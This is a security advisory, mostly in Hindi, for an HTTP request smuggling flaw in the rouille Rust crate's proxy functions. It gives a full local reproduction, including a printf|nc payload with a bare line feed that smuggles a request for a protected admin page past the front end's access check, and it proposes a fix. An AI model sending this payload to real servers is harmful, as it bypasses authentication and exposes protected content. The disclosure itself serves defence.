
Security Advisory: HTTP Request Smuggling Enables Front-End Access Control Bypass (rouille)
निर्दिष्ट CVE ID: CVE-2026-67182
rouille::proxy::proxy और rouille::proxy::full_proxy क्लाइंट-प्रदत्त रिक्वेस्ट हेडर मानों को अपस्ट्रीम कनेक्शन में कॉपी करते हैं, बिना उन्हें नियंत्रण वर्णों के लिए जाँचे। एक हेडर मान में वैध रूप से एक बेयर लाइन फीड (0x0A) हो सकता है, क्योंकि अंतर्निहित tiny_http हेडर पार्सर केवल CRLF पर हेडर लाइन समाप्त करता है। इसलिए जो बैकएंड बेयर LF को लाइन टर्मिनेटर के रूप में स्वीकार करते हैं, वे एक फ्रंट-एंड रिक्वेस्ट को दो के रूप में पढ़ते हैं।
दूसरी रिक्वेस्ट पूरी तरह से हमलावर-नियंत्रित होती है, जिसमें उसकी विधि और पथ शामिल है, और यह कभी भी उस rouille हैंडलर से नहीं गुजरती है जिसने पहली को प्रॉक्सी करने का निर्णय लिया था। इसका रिस्पॉन्स बॉडी भी हमलावर को लौटा दिया जाता है।
Repo URL: https://github.com/tomaka/rouille
| पहला प्रभावित | 0.3.3 (2016-12-03), वह रिलीज़ जिसने src/proxy.rs पेश किया |
| अंतिम प्रभावित | 3.6.2 (2023-04-24), वर्तमान रिलीज़ |
| प्रभावित नहीं | 0.3.2 और उससे पहले, जिनमें कोई proxy मॉड्यूल नहीं है |
| इसमें ठीक किया गया | लेखन के समय कोई निश्चित संस्करण नहीं |
0.3.3 से 3.6.2 तक हर प्रकाशित रिलीज़ में अपरिवर्तित कोड है। src/proxy.rs फ़ाइल 3.6.2 टैग और वर्तमान master शाखा के बीच बाइट-समान है।
केवल वे एप्लिकेशन प्रभावित होते हैं जो proxy::proxy या proxy::full_proxy को कॉल करते हैं।
CWE-444 (HTTP रिक्वेस्ट की असंगत व्याख्या), CWE-113 (HTTP हेडर में CRLF अनुक्रमों का अनुचित न्यूट्रलाइज़ेशन) के माध्यम से प्राप्त।
CVSS 4.0 आधार स्कोर 6.9 (मध्यम)
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:H/SI:L/SA:N
हमलावर एक दूरस्थ, अनप्रमाणित क्लाइंट है जो rouille सर्वर को कच्चा HTTP भेज सकता है। किसी क्रेडेंशियल, उपयोगकर्ता इंटरैक्शन, या घटकों के बीच नेटवर्क पर स्थिति की आवश्यकता नहीं है।
जोखिम वाली तैनाती एक rouille एप्लिकेशन है जो रिवर्स प्रॉक्सी के रूप में कार्य करती है और proxy() को कॉल करने से पहले एक सुरक्षा निर्णय (रूटिंग, प्रमाणीकरण, प्राधिकरण, या सामग्री फ़िल्टरिंग) लेती है, ऐसे बैकएंड के सामने जिसका HTTP पार्सर बेयर LF को हेडर लाइन टर्मिनेटर के रूप में स्वीकार करता है।
मापा गया बैकएंड व्यवहार:
nginx और Apache का परीक्षण नहीं किया गया। RFC 9112 धारा 2.2 एक प्राप्तकर्ता को अकेले LF को लाइन टर्मिनेटर के रूप में पहचानने की अनुमति देता है, इसलिए स्वीकार करने वाले बैकएंड विनिर्देश के भीतर व्यवहार कर रहे हैं।
rouille/src/proxy.rs, पंक्तियाँ 157 से 174:
157 for (header, value) in request.headers() {
158 let value = if header == "Host" {
159 if let Some(ref replace) = config.replace_host {
160 &**replace
161 } else {
162 value
163 }
164 } else {
165 value
166 };
167 if header == "Connection" {
168 continue;
169 }
170
171 socket.write_all(format!("{}: {}\r\n", header, value).as_bytes())?;
172 }
173 socket.write_all(b"Connection: close\r\n\r\n")?;
174 io::copy(&mut data, &mut socket)?;
पंक्ति 171 सिंक है। value अविश्वसनीय है और बिना किसी सत्यापन के लिखा जाता है।
टेंट tiny_http के माध्यम से प्रवेश करता है। tiny_http-0.12.0/src/client.rs में, पंक्तियाँ 80 से 102, एक हेडर लाइन तभी समाप्त होती है जब CR के बाद LF आता है:
92 if byte == b'\n' && prev_byte_was_cr {
93 buf.pop(); // removing the '\r'
94 return AsciiString::from_ascii(buf)
95 .map_err(|_| IoError::new(ErrorKind::InvalidInput, "Header is not in ASCII"));
96 }
97
98 prev_byte_was_cr = byte == b'\r';
99
100 buf.push(byte);
एक अकेला LF पंक्ति 100 तक पहुँचता है और लाइन बफर में डाल दिया जाता है। LF मान्य ASCII है, इसलिए AsciiString::from_ascii इसे स्वीकार करता है। tiny_http-0.12.0/src/common.rs की पंक्ति 184 पर Header::from_str फिर केवल मान को ट्रिम करता है, जो आगे और पीछे की व्हॉइटस्पेस हटाता है लेकिन आंतरिक बाइट्स को अकेला छोड़ देता है:
187 let field = elems.next().and_then(|f| f.parse().ok()).ok_or(())?;
188 let value = elems
189 .next()
190 .and_then(|v| AsciiString::from_ascii(v.trim()).ok())
191 .ok_or(())?;
परिणाम एक rouille हेडर मान है जिसमें कच्चा \n होता है, जिसे proxy.rs की पंक्ति 171 सीधे अपस्ट्रीम रिक्वेस्ट में लिखती है।
पंक्ति 173 पर Connection: close नुकसान को नहीं रोकता। इंजेक्टेड खाली लाइन पंक्ति 173 चलने से पहले पहली रिक्वेस्ट समाप्त कर देती है, इसलिए वह हेडर स्मगल की गई रिक्वेस्ट में समा जाता है। पहली रिक्वेस्ट में कोई Connection हेडर नहीं होता और यह डिफ़ॉल्ट रूप से HTTP/1.1 keep-alive होती है, जो ठीक वही है जो बैकएंड को दूसरी रिक्वेस्ट को संसाधित करने देता है।
चरण 1. बैकएंड दस्तावेज़ रूट में एक सार्वजनिक फ़ाइल और एक फ़ाइल बनाएँ जिसे प्रॉक्सी को सुरक्षित रखना है।
mkdir -p /tmp/webroot/public
echo "PUBLIC PAGE" > /tmp/webroot/public/index.html
echo "SECRET ADMIN PAGE" > /tmp/webroot/admin.html
चरण 2. पोर्ट 8001 पर एक keep-alive बैकएंड शुरू करें।
cd /tmp/webroot
python3 -c '
import http.server, socketserver, sys
class H(http.server.SimpleHTTPRequestHandler):
protocol_version = "HTTP/1.1"
def log_message(self, f, *a):
sys.stderr.write("[backend] " + (f % a) + "\n"); sys.stderr.flush()
socketserver.TCPServer.allow_reuse_address = True
socketserver.TCPServer(("127.0.0.1", 8001), H).serve_forever()
'
चरण 3. पोर्ट 8000 पर rouille फ्रंट एंड शुरू करें। यह /public/ को प्रॉक्सी करता है और बाकी सब कुछ अस्वीकार कर देता है।
use rouille::{proxy, Response};
fn main() {
rouille::start_server("127.0.0.1:8000", |request| {
if !request.url().starts_with("/public/") {
return Response::text("forbidden").with_status_code(403);
}
proxy::full_proxy(request, proxy::ProxyConfig {
addr: "127.0.0.1:8001", replace_host: None,
}).unwrap()
});
}
चरण 4. पुष्टि करें कि एक्सेस कंट्रोल काम करता है।
printf 'GET /admin.html HTTP/1.1\r\nHost: x\r\nConnection: close\r\n\r\n' | nc 127.0.0.1 8000
HTTP/1.1 403 Forbidden
चरण 5. अनुमत पथ के लिए एक हेडर मान के अंदर बेयर LF के साथ एक एकल रिक्वेस्ट भेजें। नीचे दिए गए कमांड में \n एक बेयर लाइन फीड है और \r\n एक CRLF है। यह अंतर ही पूरा हमला है, इसलिए किसी एडिटर को इसे सामान्य न करने दें।
printf 'GET /public/index.html HTTP/1.1\r\nHost: x\r\nX-Bait: a\n\nGET /admin.html HTTP/1.1\nHost: x\nX-End: 1\r\n\r\n' | nc 127.0.0.1 8000
परिणाम। बैकएंड लॉग दो रिक्वेस्ट दिखाता है, दूसरी वह पथ है जिसे फ्रंट एंड ने चरण 4 में अस्वीकार कर दिया था:
[backend] "GET /public/index.html HTTP/1.1" 200 -
[backend] "GET /admin.html HTTP/1.1" 200 -
हमलावर को संरक्षित सामग्री भी प्राप्त होती है, क्योंकि src/proxy.rs की पंक्ति 224 अपस्ट्रीम सॉकेट के शेष हिस्से को रिस्पॉन्स बॉडी में बदल देती है:
HTTP/1.1 200 OK
Content-type: text/html
Transfer-Encoding: chunked
d7
PUBLIC PAGE
HTTP/1.1 200 OK
Content-type: text/html
Content-Length: 18
SECRET ADMIN PAGE
एक अनप्रमाणित क्लाइंट बैकएंड को एक मनमाना रिक्वेस्ट जारी कर सकता है और उसका रिस्पॉन्स पढ़ सकता है, जबकि rouille हैंडलर केवल अनुमत रिक्वेस्ट ही देखता है। यह पथ-आधारित एक्सेस कंट्रोल, हैंडलर में किए गए प्रमाणीकरण, और proxy() को कॉल करने से पहले की गई किसी भी रिक्वेस्ट जाँच को विफल कर देता है।
दो सीमाएँ बताने लायक हैं। proxy() प्रति रिक्वेस्ट एक नया TCP कनेक्शन खोलता है और पूल नहीं करता, इसलिए यह क्लासिक स्मगलिंग से जुड़ी क्रॉस-यूज़र रिक्वेस्ट-क्यू पॉइज़निंग नहीं देता। हमले को एक LF-सहिष्णु बैकएंड की भी आवश्यकता होती है, जैसा कि ऊपर मापा गया है।
उन हेडर नामों और मानों को अस्वीकार करें जिनमें उन्हें अपस्ट्रीम लिखने से पहले नियंत्रण वर्ण हों। src/proxy.rs में, पंक्ति 157 पर लूप के अंदर:
if header.bytes().any(|b| b < 0x21 || b == 0x7f)
|| value.bytes().any(|b| b == b'\r' || b == b'\n' || b == 0)
{
return Err(ProxyError::HttpParseError);
}
| बैकएंड | परीक्षण किया गया संस्करण | इंजेक्टेड LF स्वीकार करता है |
|---|
Go net/http | go1.26.4 | हाँ, स्मगल की गई रिक्वेस्ट परोसता है |
Python http.server (protocol_version = "HTTP/1.1") | CPython 3.13 | हाँ, स्मगल की गई रिक्वेस्ट परोसता है |
| Node.js | v26.3.0 | नहीं, 400 लौटाता है (llhttp सख्त मोड) |
| PHP built-in server | 8.5.8 | नहीं, कनेक्शन गिरा देता है |